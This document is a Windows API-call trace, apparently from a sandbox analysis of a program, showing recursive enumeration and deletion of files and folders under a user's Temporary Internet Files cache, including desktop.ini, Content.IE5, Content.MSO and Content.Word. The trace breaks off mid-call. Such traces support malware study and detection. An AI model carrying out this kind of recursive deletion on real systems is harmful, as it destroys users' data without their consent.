lpFindFileData=0x9a91840*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x4ce304d0, ftLastAccessTime.dwHighDateTime=0x1d42028, ftLastWriteTime.dwLowDateTime=0x4ce304d0, ftLastWriteTime.dwHighDateTime=0x1d42028, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7200cd0 [0097.663] FindNextFileW (in: hFindFile=0x7200cd0, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x4ce304d0, ftLastAccessTime.dwHighDateTime=0x1d42028, ftLastWriteTime.dwLowDateTime=0x4ce304d0, ftLastWriteTime.dwHighDateTime=0x1d42028, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.663] FindNextFileW (in: hFindFile=0x7200cd0, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2354c680, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2354c680, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0097.663] lstrlenW (lpString="desktop.ini") returned 11 [0097.663] PathCombineW (in: pszDest=0x9b6fc60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109", pszFile="desktop.ini" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\desktop.ini" [0097.663] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\desktop.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\x9ohk109\\desktop.ini")) returned 1 [0097.663] FindNextFileW (in: hFindFile=0x7200cd0, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2354c680, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2354c680, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0097.663] FindClose (in: hFindFile=0x7200cd0 | out: hFindFile=0x7200cd0) returned 1 [0097.663] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0097.663] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e660 | out: hHeap=0x9770000) returned 1 [0097.663] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fc60 | out: hHeap=0x9770000) returned 1 [0097.663] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\x9ohk109")) returned 1 [0097.784] FindNextFileW (in: hFindFile=0x4466400, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x4ce304d0, ftLastAccessTime.dwHighDateTime=0x1d42028, ftLastWriteTime.dwLowDateTime=0x4ce304d0, ftLastWriteTime.dwHighDateTime=0x1d42028, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="X9OHK109", cAlternateFileName="")) returned 0 [0097.784] FindClose (in: hFindFile=0x4466400 | out: hFindFile=0x4466400) returned 1 [0097.784] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fa00 | out: hHeap=0x9770000) returned 1 [0097.784] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770f10 | out: hHeap=0x9770000) returned 1 [0097.784] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e450 | out: hHeap=0x9770000) returned 1 [0097.784] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5")) returned 0 [0097.784] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x9502e390, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb6ded000, ftLastAccessTime.dwHighDateTime=0x1d3ab19, ftLastWriteTime.dwLowDateTime=0xc49f61a0, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="Content.MSO", cAlternateFileName="")) returned 1 [0097.784] lstrlenW (lpString="Content.MSO") returned 11 [0097.784] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", pszFile="Content.MSO" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO" [0097.784] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO") returned 86 [0097.784] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e450 [0097.784] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb6) returned 0x9770f10 [0097.784] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9b6fa00 [0097.784] PathCombineW (in: pszDest=0x9770f10, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\*.*" [0097.784] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\*.*", lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x9502e390, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb6ded000, ftLastAccessTime.dwHighDateTime=0x1d3ab19, ftLastWriteTime.dwLowDateTime=0xc49f61a0, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x71e9d80 [0097.943] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x9502e390, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb6ded000, ftLastAccessTime.dwHighDateTime=0x1d3ab19, ftLastWriteTime.dwLowDateTime=0xc49f61a0, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.943] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb4f3f910, ftCreationTime.dwHighDateTime=0x1d30618, ftLastAccessTime.dwLowDateTime=0xb4f3f910, ftLastAccessTime.dwHighDateTime=0x1d30618, ftLastWriteTime.dwLowDateTime=0xb4f3f910, ftLastWriteTime.dwHighDateTime=0x1d30618, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogFiles", cAlternateFileName="VISIOL~1")) returned 1 [0097.943] lstrlenW (lpString="VisioLogFiles") returned 13 [0097.943] PathCombineW (in: pszDest=0x9a6e450, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO", pszFile="VisioLogFiles" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\VisioLogFiles") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\VisioLogFiles" [0097.943] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\VisioLogFiles") returned 100 [0097.943] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9b6fc60 [0097.943] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xd2) returned 0x9a6e660 [0097.943] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91840 [0097.943] PathCombineW (in: pszDest=0x9a6e660, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\VisioLogFiles", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\VisioLogFiles\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\VisioLogFiles\\*.*" [0097.943] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\VisioLogFiles\\*.*", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb4f3f910, ftCreationTime.dwHighDateTime=0x1d30618, ftLastAccessTime.dwLowDateTime=0xb4f3f910, ftLastAccessTime.dwHighDateTime=0x1d30618, ftLastWriteTime.dwLowDateTime=0xb4f3f910, ftLastWriteTime.dwHighDateTime=0x1d30618, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7200eb0 [0098.081] FindNextFileW (in: hFindFile=0x7200eb0, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb4f3f910, ftCreationTime.dwHighDateTime=0x1d30618, ftLastAccessTime.dwLowDateTime=0xb4f3f910, ftLastAccessTime.dwHighDateTime=0x1d30618, ftLastWriteTime.dwLowDateTime=0xb4f3f910, ftLastWriteTime.dwHighDateTime=0x1d30618, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.081] FindNextFileW (in: hFindFile=0x7200eb0, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb4f3f910, ftCreationTime.dwHighDateTime=0x1d30618, ftLastAccessTime.dwLowDateTime=0xb4f3f910, ftLastAccessTime.dwHighDateTime=0x1d30618, ftLastWriteTime.dwLowDateTime=0xb4f3f910, ftLastWriteTime.dwHighDateTime=0x1d30618, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0098.081] FindClose (in: hFindFile=0x7200eb0 | out: hFindFile=0x7200eb0) returned 1 [0098.081] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0098.081] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e660 | out: hHeap=0x9770000) returned 1 [0098.081] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fc60 | out: hHeap=0x9770000) returned 1 [0098.081] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\VisioLogFiles" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.mso\\visiologfiles")) returned 1 [0098.081] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb4f3f910, ftCreationTime.dwHighDateTime=0x1d30618, ftLastAccessTime.dwLowDateTime=0xb4f3f910, ftLastAccessTime.dwHighDateTime=0x1d30618, ftLastWriteTime.dwLowDateTime=0xb4f3f910, ftLastWriteTime.dwHighDateTime=0x1d30618, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogFiles", cAlternateFileName="VISIOL~1")) returned 0 [0098.081] FindClose (in: hFindFile=0x71e9d80 | out: hFindFile=0x71e9d80) returned 1 [0098.081] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fa00 | out: hHeap=0x9770000) returned 1 [0098.081] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770f10 | out: hHeap=0x9770000) returned 1 [0098.081] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e450 | out: hHeap=0x9770000) returned 1 [0098.081] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.mso")) returned 1 [0098.082] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xff9c74a0, ftCreationTime.dwHighDateTime=0x1d3ab19, ftLastAccessTime.dwLowDateTime=0xff9c74a0, ftLastAccessTime.dwHighDateTime=0x1d3ab19, ftLastWriteTime.dwLowDateTime=0xff9c74a0, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="Content.Word", cAlternateFileName="CONTEN~1.WOR")) returned 1 [0098.082] lstrlenW (lpString="Content.Word") returned 12 [0098.082] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", pszFile="Content.Word" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word" [0098.082] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word") returned 87 [0098.082] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9b6fa00 [0098.082] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb8) returned 0x9770f10 [0098.082] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9b6fc10 [0098.082] PathCombineW (in: pszDest=0x9770f10, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\*.*" [0098.082] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\*.*", lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xff9c74a0, ftCreationTime.dwHighDateTime=0x1d3ab19, ftLastAccessTime.dwLowDateTime=0xff9c74a0, ftLastAccessTime.dwHighDateTime=0x1d3ab19, ftLastWriteTime.dwLowDateTime=0xdfee3c0, ftLastWriteTime.dwHighDateTime=0x1d3ab1a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490056, dwReserved1=0x490053, cFileName=".", cAlternateFileName="")) returned 0x72013f0 [0098.190] FindNextFileW (in: hFindFile=0x72013f0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xff9c74a0, ftCreationTime.dwHighDateTime=0x1d3ab19, ftLastAccessTime.dwLowDateTime=0xff9c74a0, ftLastAccessTime.dwHighDateTime=0x1d3ab19, ftLastWriteTime.dwLowDateTime=0xdfee3c0, ftLastWriteTime.dwHighDateTime=0x1d3ab1a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490056, dwReserved1=0x490053, cFileName="..", cAlternateFileName="")) returned 1 [0098.190] FindNextFileW (in: hFindFile=0x72013f0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xff9c74a0, ftCreationTime.dwHighDateTime=0x1d3ab19, ftLastAccessTime.dwLowDateTime=0xff9c74a0, ftLastAccessTime.dwHighDateTime=0x1d3ab19, ftLastWriteTime.dwLowDateTime=0xdfee3c0, ftLastWriteTime.dwHighDateTime=0x1d3ab1a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490056, dwReserved1=0x490053, cFileName="..", cAlternateFileName="")) returned 0 [0098.190] FindClose (in: hFindFile=0x72013f0 | out: hFindFile=0x72013f0) returned 1 [0098.190] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fc10 | out: hHeap=0x9770000) returned 1 [0098.190] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770f10 | out: hHeap=0x9770000) returned 1 [0098.190] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fa00 | out: hHeap=0x9770000) returned 1 [0098.190] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.word")) returned 1 [0098.190] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2354c680, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2354c680, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xfe710360, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0098.190] lstrlenW (lpString="desktop.ini") returned 11 [0098.190] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", pszFile="desktop.ini" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini" [0098.190] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\desktop.ini")) returned 1 [0098.191] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xc7cedd80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7cedd80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="Low", cAlternateFileName="")) returned 1 [0098.191] lstrlenW (lpString="Low") returned 3 [0098.191] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", pszFile="Low" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low" [0098.191] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low") returned 78 [0098.191] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9b6fa00 [0098.191] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xa6) returned 0x9770f10 [0098.191] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9b6fc10 [0098.191] PathCombineW (in: pszDest=0x9770f10, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\*.*" [0098.191] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\*.*", lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xc7cedd80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7cedd80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490056, dwReserved1=0x490053, cFileName=".", cAlternateFileName="")) returned 0x72013f0 [0098.191] FindNextFileW (in: hFindFile=0x72013f0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xc7cedd80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7cedd80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490056, dwReserved1=0x490053, cFileName="..", cAlternateFileName="")) returned 1 [0098.191] FindNextFileW (in: hFindFile=0x72013f0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc77207e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc77207e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77207e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490056, dwReserved1=0x490053, cFileName="AntiPhishing", cAlternateFileName="ANTIPH~1")) returned 1 [0098.191] lstrlenW (lpString="AntiPhishing") returned 12 [0098.191] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low", pszFile="AntiPhishing" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing" [0098.191] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing") returned 91 [0098.191] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e220 [0098.191] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xc0) returned 0x9a6e430 [0098.191] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e500 [0098.192] PathCombineW (in: pszDest=0x9a6e430, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing\\*.*" [0098.192] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing\\*.*", lpFindFileData=0x9a6e500 | out: lpFindFileData=0x9a6e500*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc77207e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc77207e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77207e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x360030, dwReserved1=0x390030, cFileName=".", cAlternateFileName="")) returned 0x71e9c00 [0098.213] FindNextFileW (in: hFindFile=0x71e9c00, lpFindFileData=0x9a6e500 | out: lpFindFileData=0x9a6e500*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc77207e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc77207e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77207e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x360030, dwReserved1=0x390030, cFileName="..", cAlternateFileName="")) returned 1 [0098.213] FindNextFileW (in: hFindFile=0x71e9c00, lpFindFileData=0x9a6e500 | out: lpFindFileData=0x9a6e500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc77207e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc77207e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc77207e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x47f94, dwReserved0=0x360030, dwReserved1=0x390030, cFileName="2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat", cAlternateFileName="2CEDBF~1.DAT")) returned 1 [0098.213] lstrlenW (lpString="2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat") returned 40 [0098.213] PathCombineW (in: pszDest=0x9a6e220, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing", pszFile="2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat") 